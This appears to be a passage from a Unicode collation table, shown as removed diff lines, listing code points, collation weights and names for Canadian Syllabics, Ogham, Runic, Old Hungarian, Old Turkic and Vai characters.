-18CA  ; [.351B.0020.0002] # CANADIAN SYLLABICS NWO
-18CB  ; [.351C.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWO
-18CC  ; [.351D.0020.0002] # CANADIAN SYLLABICS NWOO
-18CD  ; [.351E.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWOO
-18CE  ; [.351F.0020.0002] # CANADIAN SYLLABICS RWEE
-18CF  ; [.3520.0020.0002] # CANADIAN SYLLABICS RWI
-18D0  ; [.3521.0020.0002] # CANADIAN SYLLABICS RWII
-18D1  ; [.3522.0020.0002] # CANADIAN SYLLABICS RWO
-18D2  ; [.3523.0020.0002] # CANADIAN SYLLABICS RWOO
-18D3  ; [.3524.0020.0002] # CANADIAN SYLLABICS RWA
-18D4  ; [.3525.0020.0002] # CANADIAN SYLLABICS OJIBWAY P
-18D5  ; [.3526.0020.0002] # CANADIAN SYLLABICS OJIBWAY T
-18D6  ; [.3527.0020.0002] # CANADIAN SYLLABICS OJIBWAY K
-18D7  ; [.3528.0020.0002] # CANADIAN SYLLABICS OJIBWAY C
-18D8  ; [.3529.0020.0002] # CANADIAN SYLLABICS OJIBWAY M
-18D9  ; [.352A.0020.0002] # CANADIAN SYLLABICS OJIBWAY N
-18DA  ; [.352B.0020.0002] # CANADIAN SYLLABICS OJIBWAY S
-18DB  ; [.352C.0020.0002] # CANADIAN SYLLABICS OJIBWAY SH
-18DC  ; [.352D.0020.0002] # CANADIAN SYLLABICS EASTERN W
-18DD  ; [.352E.0020.0002] # CANADIAN SYLLABICS WESTERN W
-18DE  ; [.352F.0020.0002] # CANADIAN SYLLABICS FINAL SMALL RING
-18DF  ; [.3530.0020.0002] # CANADIAN SYLLABICS FINAL RAISED DOT
-18E0  ; [.3531.0020.0002] # CANADIAN SYLLABICS R-CREE RWE
-18E1  ; [.3532.0020.0002] # CANADIAN SYLLABICS WEST-CREE LOO
-18E2  ; [.3533.0020.0002] # CANADIAN SYLLABICS WEST-CREE LAA
-18E3  ; [.3534.0020.0002] # CANADIAN SYLLABICS THWE
-18E4  ; [.3535.0020.0002] # CANADIAN SYLLABICS THWA
-18E5  ; [.3536.0020.0002] # CANADIAN SYLLABICS TTHWE
-18E6  ; [.3537.0020.0002] # CANADIAN SYLLABICS TTHOO
-18E7  ; [.3538.0020.0002] # CANADIAN SYLLABICS TTHAA
-18E8  ; [.3539.0020.0002] # CANADIAN SYLLABICS TLHWE
-18E9  ; [.353A.0020.0002] # CANADIAN SYLLABICS TLHOO
-18EA  ; [.353B.0020.0002] # CANADIAN SYLLABICS SAYISI SHWE
-18EB  ; [.353C.0020.0002] # CANADIAN SYLLABICS SAYISI SHOO
-18EC  ; [.353D.0020.0002] # CANADIAN SYLLABICS SAYISI HOO
-18ED  ; [.353E.0020.0002] # CANADIAN SYLLABICS CARRIER GWU
-18EE  ; [.353F.0020.0002] # CANADIAN SYLLABICS CARRIER DENE GEE
-18EF  ; [.3540.0020.0002] # CANADIAN SYLLABICS CARRIER GAA
-18F0  ; [.3541.0020.0002] # CANADIAN SYLLABICS CARRIER GWA
-18F1  ; [.3542.0020.0002] # CANADIAN SYLLABICS SAYISI JUU
-18F2  ; [.3543.0020.0002] # CANADIAN SYLLABICS CARRIER JWA
-18F3  ; [.3544.0020.0002] # CANADIAN SYLLABICS BEAVER DENE L
-18F4  ; [.3545.0020.0002] # CANADIAN SYLLABICS BEAVER DENE R
-18F5  ; [.3546.0020.0002] # CANADIAN SYLLABICS CARRIER DENTAL S
-1681  ; [.3547.0020.0002] # OGHAM LETTER BEITH
-1682  ; [.3548.0020.0002] # OGHAM LETTER LUIS
-1683  ; [.3549.0020.0002] # OGHAM LETTER FEARN
-1684  ; [.354A.0020.0002] # OGHAM LETTER SAIL
-1685  ; [.354B.0020.0002] # OGHAM LETTER NION
-1686  ; [.354C.0020.0002] # OGHAM LETTER UATH
-1687  ; [.354D.0020.0002] # OGHAM LETTER DAIR
-1688  ; [.354E.0020.0002] # OGHAM LETTER TINNE
-1689  ; [.354F.0020.0002] # OGHAM LETTER COLL
-168A  ; [.3550.0020.0002] # OGHAM LETTER CEIRT
-168B  ; [.3551.0020.0002] # OGHAM LETTER MUIN
-168C  ; [.3552.0020.0002] # OGHAM LETTER GORT
-168D  ; [.3553.0020.0002] # OGHAM LETTER NGEADAL
-168E  ; [.3554.0020.0002] # OGHAM LETTER STRAIF
-168F  ; [.3555.0020.0002] # OGHAM LETTER RUIS
-1690  ; [.3556.0020.0002] # OGHAM LETTER AILM
-1691  ; [.3557.0020.0002] # OGHAM LETTER ONN
-1692  ; [.3558.0020.0002] # OGHAM LETTER UR
-1693  ; [.3559.0020.0002] # OGHAM LETTER EADHADH
-1694  ; [.355A.0020.0002] # OGHAM LETTER IODHADH
-1695  ; [.355B.0020.0002] # OGHAM LETTER EABHADH
-1696  ; [.355C.0020.0002] # OGHAM LETTER OR
-1697  ; [.355D.0020.0002] # OGHAM LETTER UILLEANN
-1698  ; [.355E.0020.0002] # OGHAM LETTER IFIN
-1699  ; [.355F.0020.0002] # OGHAM LETTER EAMHANCHOLL
-169A  ; [.3560.0020.0002] # OGHAM LETTER PEITH
-16A0  ; [.3561.0020.0002] # RUNIC LETTER FEHU FEOH FE F
-16A1  ; [.3561.0020.0004][.0000.010B.0004] # RUNIC LETTER V
-16A2  ; [.3562.0020.0002] # RUNIC LETTER URUZ UR U
-16A4  ; [.3562.0020.0004][.0000.010B.0004] # RUNIC LETTER Y
-16A5  ; [.3562.0020.0004][.0000.010C.0004] # RUNIC LETTER W
-16A6  ; [.3563.0020.0002] # RUNIC LETTER THURISAZ THURS THORN
-16A7  ; [.3563.0020.0004][.0000.010B.0004] # RUNIC LETTER ETH
-16F0  ; [.3563.0020.0004][.3563.0020.0004] # RUNIC BELGTHOR SYMBOL
-16A8  ; [.3564.0020.0002] # RUNIC LETTER ANSUZ A
-16A9  ; [.3564.0020.0004][.0000.010B.0004] # RUNIC LETTER OS O
-16AC  ; [.3564.0020.0004][.0000.010C.0004] # RUNIC LETTER LONG-BRANCH-OSS O
-16AD  ; [.3564.0020.0004][.0000.010D.0004] # RUNIC LETTER SHORT-TWIG-OSS O
-16AE  ; [.3564.0020.0004][.0000.010E.0004] # RUNIC LETTER O
-16F4  ; [.3565.0020.0002] # RUNIC LETTER FRANKS CASKET OS
-16AF  ; [.3566.0020.0002] # RUNIC LETTER OE
-16B0  ; [.3567.0020.0002] # RUNIC LETTER ON
-16B1  ; [.3568.0020.0002] # RUNIC LETTER RAIDO RAD REID R
-16B2  ; [.3569.0020.0002] # RUNIC LETTER KAUNA
-16B3  ; [.3569.0020.0004][.0000.010B.0004] # RUNIC LETTER CEN
-16B4  ; [.3569.0020.0004][.0000.010C.0004] # RUNIC LETTER KAUN K
-16B5  ; [.3569.0020.0004][.0000.010D.0004] # RUNIC LETTER G
-16B6  ; [.3569.0020.0004][.0000.010E.0004] # RUNIC LETTER ENG
-16F1  ; [.356A.0020.0002] # RUNIC LETTER K
-16B7  ; [.356B.0020.0002] # RUNIC LETTER GEBO GYFU G
-16B9  ; [.356C.0020.0002] # RUNIC LETTER WUNJO WYNN W
-16E9  ; [.356C.0020.0004][.0000.010B.0004] # RUNIC LETTER Q
-16BA  ; [.356D.0020.0002] # RUNIC LETTER HAGLAZ H
-16BB  ; [.356D.0020.0004][.0000.010B.0004] # RUNIC LETTER HAEGL H
-16BC  ; [.356D.0020.0004][.0000.010C.0004] # RUNIC LETTER LONG-BRANCH-HAGALL H
-16BD  ; [.356D.0020.0004][.0000.010D.0004] # RUNIC LETTER SHORT-TWIG-HAGALL H
-16BE  ; [.356E.0020.0002] # RUNIC LETTER NAUDIZ NYD NAUD N
-16BF  ; [.356E.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-NAUD N
-16C0  ; [.356E.0020.0004][.0000.010C.0004] # RUNIC LETTER DOTTED-N
-16C1  ; [.356F.0020.0002] # RUNIC LETTER ISAZ IS ISS I
-16C2  ; [.356F.0020.0004][.0000.010B.0004] # RUNIC LETTER E
-16F5  ; [.3570.0020.0002] # RUNIC LETTER FRANKS CASKET IS
-16C3  ; [.3571.0020.0002] # RUNIC LETTER JERAN J
-16C4  ; [.3571.0020.0004][.0000.010B.0004] # RUNIC LETTER GER
-16C5  ; [.3572.0020.0002] # RUNIC LETTER LONG-BRANCH-AR AE
-16C6  ; [.3572.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-AR A
-16EE  ; [.3572.0020.0004][.357D.0020.0004] # RUNIC ARLAUG SYMBOL
-16C7  ; [.3573.0020.0002] # RUNIC LETTER IWAZ EOH
-16C8  ; [.3574.0020.0002] # RUNIC LETTER PERTHO PEORTH P
-16D5  ; [.3574.0020.0004][.0000.010B.0004] # RUNIC LETTER OPEN-P
-16C9  ; [.3575.0020.0002] # RUNIC LETTER ALGIZ EOLHX
-16CA  ; [.3576.0020.0002] # RUNIC LETTER SOWILO S
-16CB  ; [.3576.0020.0004][.0000.010B.0004] # RUNIC LETTER SIGEL LONG-BRANCH-SOL S
-16EA  ; [.3576.0020.0004][.0000.010C.0004] # RUNIC LETTER X
-16CC  ; [.3576.0020.0004][.0000.010D.0004] # RUNIC LETTER SHORT-TWIG-SOL S
-16CD  ; [.3576.0020.0004][.0000.010E.0004] # RUNIC LETTER C
-16CE  ; [.3576.0020.0004][.0000.010F.0004] # RUNIC LETTER Z
-16F2  ; [.3577.0020.0002] # RUNIC LETTER SH
-16CF  ; [.3578.0020.0002] # RUNIC LETTER TIWAZ TIR TYR T
-16D0  ; [.3578.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-TYR T
-16D1  ; [.3578.0020.0004][.0000.010C.0004] # RUNIC LETTER D
-16D2  ; [.3579.0020.0002] # RUNIC LETTER BERKANAN BEORC BJARKAN B
-16D3  ; [.3579.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-BJARKAN B
-16D4  ; [.3579.0020.0004][.0000.010C.0004] # RUNIC LETTER DOTTED-P
-16D6  ; [.357A.0020.0002] # RUNIC LETTER EHWAZ EH E
-16F6  ; [.357B.0020.0002] # RUNIC LETTER FRANKS CASKET EH
-16D7  ; [.357C.0020.0002] # RUNIC LETTER MANNAZ MAN M
-16D8  ; [.357C.0020.0004][.0000.010B.0004] # RUNIC LETTER LONG-BRANCH-MADR M
-16D9  ; [.357C.0020.0004][.0000.010C.0004] # RUNIC LETTER SHORT-TWIG-MADR M
-16EF  ; [.357C.0020.0004][.0000.010B.0004][.357C.0020.0004][.0000.010B.0004] # RUNIC TVIMADUR SYMBOL
-16DA  ; [.357D.0020.0002] # RUNIC LETTER LAUKAZ LAGU LOGR L
-16DB  ; [.357D.0020.0004][.0000.010B.0004] # RUNIC LETTER DOTTED-L
-16DC  ; [.357E.0020.0002] # RUNIC LETTER INGWAZ
-16DD  ; [.357E.0020.0004][.0000.010B.0004] # RUNIC LETTER ING
-16DE  ; [.357F.0020.0002] # RUNIC LETTER DAGAZ DAEG D
-16DF  ; [.3580.0020.0002] # RUNIC LETTER OTHALAN ETHEL O
-16F3  ; [.3581.0020.0002] # RUNIC LETTER OO
-16AA  ; [.3582.0020.0002] # RUNIC LETTER AC A
-16F7  ; [.3583.0020.0002] # RUNIC LETTER FRANKS CASKET AC
-16AB  ; [.3584.0020.0002] # RUNIC LETTER AESC
-16F8  ; [.3585.0020.0002] # RUNIC LETTER FRANKS CASKET AESC
-16A3  ; [.3586.0020.0002] # RUNIC LETTER YR
-16E0  ; [.3587.0020.0002] # RUNIC LETTER EAR
-16E3  ; [.3588.0020.0002] # RUNIC LETTER CALC
-16B8  ; [.3589.0020.0002] # RUNIC LETTER GAR
-16E4  ; [.358A.0020.0002] # RUNIC LETTER CEALC
-16E1  ; [.358B.0020.0002] # RUNIC LETTER IOR
-16E2  ; [.358C.0020.0002] # RUNIC LETTER CWEORTH
-16E5  ; [.358D.0020.0002] # RUNIC LETTER STAN
-16E6  ; [.358E.0020.0002] # RUNIC LETTER LONG-BRANCH-YR
-16E7  ; [.358E.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-YR
-16E8  ; [.358E.0020.0004][.0000.010C.0004] # RUNIC LETTER ICELANDIC-YR
-10CC0 ; [.358F.0020.0002] # OLD HUNGARIAN SMALL LETTER A
-10C80 ; [.358F.0020.0008] # OLD HUNGARIAN CAPITAL LETTER A
-10CC1 ; [.358F.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER AA
-10C81 ; [.358F.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER AA
-10CC2 ; [.3590.0020.0002] # OLD HUNGARIAN SMALL LETTER EB
-10C82 ; [.3590.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EB
-10CC3 ; [.3591.0020.0002] # OLD HUNGARIAN SMALL LETTER AMB
-10C83 ; [.3591.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AMB
-10CC4 ; [.3592.0020.0002] # OLD HUNGARIAN SMALL LETTER EC
-10C84 ; [.3592.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EC
-10CC5 ; [.3593.0020.0002] # OLD HUNGARIAN SMALL LETTER ENC
-10C85 ; [.3593.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENC
-10CC6 ; [.3594.0020.0002] # OLD HUNGARIAN SMALL LETTER ECS
-10C86 ; [.3594.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ECS
-10CC7 ; [.3595.0020.0002] # OLD HUNGARIAN SMALL LETTER ED
-10C87 ; [.3595.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ED
-10CC8 ; [.3596.0020.0002] # OLD HUNGARIAN SMALL LETTER AND
-10C88 ; [.3596.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AND
-10CC9 ; [.3597.0020.0002] # OLD HUNGARIAN SMALL LETTER E
-10C89 ; [.3597.0020.0008] # OLD HUNGARIAN CAPITAL LETTER E
-10CCA ; [.3597.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER CLOSE E
-10C8A ; [.3597.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER CLOSE E
-10CCB ; [.3597.0020.0004][.0000.010C.0004] # OLD HUNGARIAN SMALL LETTER EE
-10C8B ; [.3597.0020.000A][.0000.010C.0004] # OLD HUNGARIAN CAPITAL LETTER EE
-10CCC ; [.3598.0020.0002] # OLD HUNGARIAN SMALL LETTER EF
-10C8C ; [.3598.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EF
-10CCD ; [.3599.0020.0002] # OLD HUNGARIAN SMALL LETTER EG
-10C8D ; [.3599.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EG
-10CCE ; [.359A.0020.0002] # OLD HUNGARIAN SMALL LETTER EGY
-10C8E ; [.359A.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EGY
-10CCF ; [.359B.0020.0002] # OLD HUNGARIAN SMALL LETTER EH
-10C8F ; [.359B.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EH
-10CD0 ; [.359C.0020.0002] # OLD HUNGARIAN SMALL LETTER I
-10C90 ; [.359C.0020.0008] # OLD HUNGARIAN CAPITAL LETTER I
-10CD1 ; [.359C.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER II
-10C91 ; [.359C.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER II
-10CD2 ; [.359D.0020.0002] # OLD HUNGARIAN SMALL LETTER EJ
-10C92 ; [.359D.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EJ
-10CD3 ; [.359E.0020.0002] # OLD HUNGARIAN SMALL LETTER EK
-10C93 ; [.359E.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EK
-10CD4 ; [.359F.0020.0002] # OLD HUNGARIAN SMALL LETTER AK
-10C94 ; [.359F.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AK
-10CD5 ; [.35A0.0020.0002] # OLD HUNGARIAN SMALL LETTER UNK
-10C95 ; [.35A0.0020.0008] # OLD HUNGARIAN CAPITAL LETTER UNK
-10CD6 ; [.35A1.0020.0002] # OLD HUNGARIAN SMALL LETTER EL
-10C96 ; [.35A1.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EL
-10CD7 ; [.35A2.0020.0002] # OLD HUNGARIAN SMALL LETTER ELY
-10C97 ; [.35A2.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ELY
-10CD8 ; [.35A3.0020.0002] # OLD HUNGARIAN SMALL LETTER EM
-10C98 ; [.35A3.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EM
-10CD9 ; [.35A4.0020.0002] # OLD HUNGARIAN SMALL LETTER EN
-10C99 ; [.35A4.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EN
-10CDA ; [.35A5.0020.0002] # OLD HUNGARIAN SMALL LETTER ENY
-10C9A ; [.35A5.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENY
-10CDB ; [.35A6.0020.0002] # OLD HUNGARIAN SMALL LETTER O
-10C9B ; [.35A6.0020.0008] # OLD HUNGARIAN CAPITAL LETTER O
-10CDC ; [.35A6.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER OO
-10C9C ; [.35A6.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER OO
-10CDD ; [.35A7.0020.0002] # OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE
-10C9D ; [.35A7.0020.0008] # OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE
-10CDE ; [.35A7.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER RUDIMENTA OE
-10C9E ; [.35A7.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE
-10CDF ; [.35A7.0020.0004][.0000.010C.0004] # OLD HUNGARIAN SMALL LETTER OEE
-10C9F ; [.35A7.0020.000A][.0000.010C.0004] # OLD HUNGARIAN CAPITAL LETTER OEE
-10CE0 ; [.35A8.0020.0002] # OLD HUNGARIAN SMALL LETTER EP
-10CA0 ; [.35A8.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EP
-10CE1 ; [.35A9.0020.0002] # OLD HUNGARIAN SMALL LETTER EMP
-10CA1 ; [.35A9.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EMP
-10CE2 ; [.35AA.0020.0002] # OLD HUNGARIAN SMALL LETTER ER
-10CA2 ; [.35AA.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ER
-10CE3 ; [.35AA.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER SHORT ER
-10CA3 ; [.35AA.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER SHORT ER
-10CE4 ; [.35AB.0020.0002] # OLD HUNGARIAN SMALL LETTER ES
-10CA4 ; [.35AB.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ES
-10CE5 ; [.35AC.0020.0002] # OLD HUNGARIAN SMALL LETTER ESZ
-10CA5 ; [.35AC.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ESZ
-10CE6 ; [.35AD.0020.0002] # OLD HUNGARIAN SMALL LETTER ET
-10CA6 ; [.35AD.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ET
-10CE7 ; [.35AE.0020.0002] # OLD HUNGARIAN SMALL LETTER ENT
-10CA7 ; [.35AE.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENT
-10CE8 ; [.35AF.0020.0002] # OLD HUNGARIAN SMALL LETTER ETY
-10CA8 ; [.35AF.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ETY
-10CE9 ; [.35B0.0020.0002] # OLD HUNGARIAN SMALL LETTER ECH
-10CA9 ; [.35B0.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ECH
-10CEA ; [.35B1.0020.0002] # OLD HUNGARIAN SMALL LETTER U
-10CAA ; [.35B1.0020.0008] # OLD HUNGARIAN CAPITAL LETTER U
-10CEB ; [.35B1.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER UU
-10CAB ; [.35B1.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER UU
-10CEC ; [.35B2.0020.0002] # OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE
-10CAC ; [.35B2.0020.0008] # OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE
-10CED ; [.35B2.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER RUDIMENTA UE
-10CAD ; [.35B2.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE
-10CEE ; [.35B3.0020.0002] # OLD HUNGARIAN SMALL LETTER EV
-10CAE ; [.35B3.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EV
-10CEF ; [.35B4.0020.0002] # OLD HUNGARIAN SMALL LETTER EZ
-10CAF ; [.35B4.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EZ
-10CF0 ; [.35B5.0020.0002] # OLD HUNGARIAN SMALL LETTER EZS
-10CB0 ; [.35B5.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EZS
-10CF1 ; [.35B6.0020.0002] # OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN
-10CB1 ; [.35B6.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN
-10CF2 ; [.35B7.0020.0002] # OLD HUNGARIAN SMALL LETTER US
-10CB2 ; [.35B7.0020.0008] # OLD HUNGARIAN CAPITAL LETTER US
-10C00 ; [.35B8.0020.0002] # OLD TURKIC LETTER ORKHON A
-10C01 ; [.35B8.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI A
-10C02 ; [.35B9.0020.0002] # OLD TURKIC LETTER YENISEI AE
-10C03 ; [.35BA.0020.0002] # OLD TURKIC LETTER ORKHON I
-10C04 ; [.35BA.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI I
-10C05 ; [.35BB.0020.0002] # OLD TURKIC LETTER YENISEI E
-10C06 ; [.35BC.0020.0002] # OLD TURKIC LETTER ORKHON O
-10C07 ; [.35BD.0020.0002] # OLD TURKIC LETTER ORKHON OE
-10C08 ; [.35BD.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI OE
-10C09 ; [.35BE.0020.0002] # OLD TURKIC LETTER ORKHON AB
-10C0A ; [.35BE.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AB
-10C0B ; [.35BF.0020.0002] # OLD TURKIC LETTER ORKHON AEB
-10C0C ; [.35BF.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEB
-10C0D ; [.35C0.0020.0002] # OLD TURKIC LETTER ORKHON AG
-10C0E ; [.35C0.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AG
-10C0F ; [.35C1.0020.0002] # OLD TURKIC LETTER ORKHON AEG
-10C10 ; [.35C1.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEG
-10C11 ; [.35C2.0020.0002] # OLD TURKIC LETTER ORKHON AD
-10C12 ; [.35C2.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AD
-10C13 ; [.35C3.0020.0002] # OLD TURKIC LETTER ORKHON AED
-10C14 ; [.35C4.0020.0002] # OLD TURKIC LETTER ORKHON EZ
-10C15 ; [.35C4.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI EZ
-10C16 ; [.35C5.0020.0002] # OLD TURKIC LETTER ORKHON AY
-10C17 ; [.35C5.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AY
-10C18 ; [.35C6.0020.0002] # OLD TURKIC LETTER ORKHON AEY
-10C19 ; [.35C6.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEY
-10C1A ; [.35C7.0020.0002] # OLD TURKIC LETTER ORKHON AEK
-10C1B ; [.35C7.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEK
-10C1C ; [.35C8.0020.0002] # OLD TURKIC LETTER ORKHON OEK
-10C1D ; [.35C8.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI OEK
-10C1E ; [.35C9.0020.0002] # OLD TURKIC LETTER ORKHON AL
-10C1F ; [.35C9.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AL
-10C20 ; [.35CA.0020.0002] # OLD TURKIC LETTER ORKHON AEL
-10C21 ; [.35CB.0020.0002] # OLD TURKIC LETTER ORKHON ELT
-10C22 ; [.35CC.0020.0002] # OLD TURKIC LETTER ORKHON EM
-10C23 ; [.35CD.0020.0002] # OLD TURKIC LETTER ORKHON AN
-10C24 ; [.35CE.0020.0002] # OLD TURKIC LETTER ORKHON AEN
-10C25 ; [.35CE.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEN
-10C26 ; [.35CF.0020.0002] # OLD TURKIC LETTER ORKHON ENT
-10C27 ; [.35CF.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ENT
-10C28 ; [.35D0.0020.0002] # OLD TURKIC LETTER ORKHON ENC
-10C29 ; [.35D0.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ENC
-10C2A ; [.35D1.0020.0002] # OLD TURKIC LETTER ORKHON ENY
-10C2B ; [.35D1.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ENY
-10C2C ; [.35D2.0020.0002] # OLD TURKIC LETTER YENISEI ANG
-10C2D ; [.35D3.0020.0002] # OLD TURKIC LETTER ORKHON ENG
-10C2E ; [.35D3.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AENG
-10C2F ; [.35D4.0020.0002] # OLD TURKIC LETTER ORKHON EP
-10C30 ; [.35D5.0020.0002] # OLD TURKIC LETTER ORKHON OP
-10C31 ; [.35D6.0020.0002] # OLD TURKIC LETTER ORKHON IC
-10C32 ; [.35D7.0020.0002] # OLD TURKIC LETTER ORKHON EC
-10C33 ; [.35D7.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI EC
-10C34 ; [.35D8.0020.0002] # OLD TURKIC LETTER ORKHON AQ
-10C35 ; [.35D8.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AQ
-10C36 ; [.35D9.0020.0002] # OLD TURKIC LETTER ORKHON IQ
-10C37 ; [.35D9.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI IQ
-10C38 ; [.35DA.0020.0002] # OLD TURKIC LETTER ORKHON OQ
-10C39 ; [.35DA.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI OQ
-10C3A ; [.35DB.0020.0002] # OLD TURKIC LETTER ORKHON AR
-10C3B ; [.35DB.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AR
-10C3C ; [.35DC.0020.0002] # OLD TURKIC LETTER ORKHON AER
-10C3D ; [.35DD.0020.0002] # OLD TURKIC LETTER ORKHON AS
-10C3E ; [.35DE.0020.0002] # OLD TURKIC LETTER ORKHON AES
-10C3F ; [.35DF.0020.0002] # OLD TURKIC LETTER ORKHON ASH
-10C40 ; [.35DF.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ASH
-10C41 ; [.35E0.0020.0002] # OLD TURKIC LETTER ORKHON ESH
-10C42 ; [.35E0.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ESH
-10C43 ; [.35E1.0020.0002] # OLD TURKIC LETTER ORKHON AT
-10C44 ; [.35E1.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AT
-10C45 ; [.35E2.0020.0002] # OLD TURKIC LETTER ORKHON AET
-10C46 ; [.35E2.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AET
-10C47 ; [.35E3.0020.0002] # OLD TURKIC LETTER ORKHON OT
-10C48 ; [.35E4.0020.0002] # OLD TURKIC LETTER ORKHON BASH
-A500  ; [.35E5.0020.0002] # VAI SYLLABLE EE
-A501  ; [.35E6.0020.0002] # VAI SYLLABLE EEN
-A502  ; [.35E7.0020.0002] # VAI SYLLABLE HEE
-A503  ; [.35E8.0020.0002] # VAI SYLLABLE WEE
-A504  ; [.35E9.0020.0002] # VAI SYLLABLE WEEN
-A505  ; [.35EA.0020.0002] # VAI SYLLABLE PEE
-A506  ; [.35EB.0020.0002] # VAI SYLLABLE BHEE
-A507  ; [.35EC.0020.0002] # VAI SYLLABLE BEE
-A508  ; [.35ED.0020.0002] # VAI SYLLABLE MBEE
-A509  ; [.35EE.0020.0002] # VAI SYLLABLE KPEE
-A50A  ; [.35EF.0020.0002] # VAI SYLLABLE MGBEE
-A50B  ; [.35F0.0020.0002] # VAI SYLLABLE GBEE
-A50C  ; [.35F1.0020.0002] # VAI SYLLABLE FEE
-A613  ; [.35F1.0020.0004][.36F0.0020.0004] # VAI SYMBOL FEENG
-A50D  ; [.35F2.0020.0002] # VAI SYLLABLE VEE
-A50E  ; [.35F3.0020.0002] # VAI SYLLABLE TEE
-A50F  ; [.35F4.0020.0002] # VAI SYLLABLE THEE
-A510  ; [.35F5.0020.0002] # VAI SYLLABLE DHEE
-A511  ; [.35F6.0020.0002] # VAI SYLLABLE DHHEE
-A512  ; [.35F7.0020.0002] # VAI SYLLABLE LEE
-A513  ; [.35F8.0020.0002] # VAI SYLLABLE REE
-A514  ; [.35F9.0020.0002] # VAI SYLLABLE DEE
-A515  ; [.35FA.0020.0002] # VAI SYLLABLE NDEE
-A516  ; [.35FB.0020.0002] # VAI SYLLABLE SEE
-A517  ; [.35FC.0020.0002] # VAI SYLLABLE SHEE
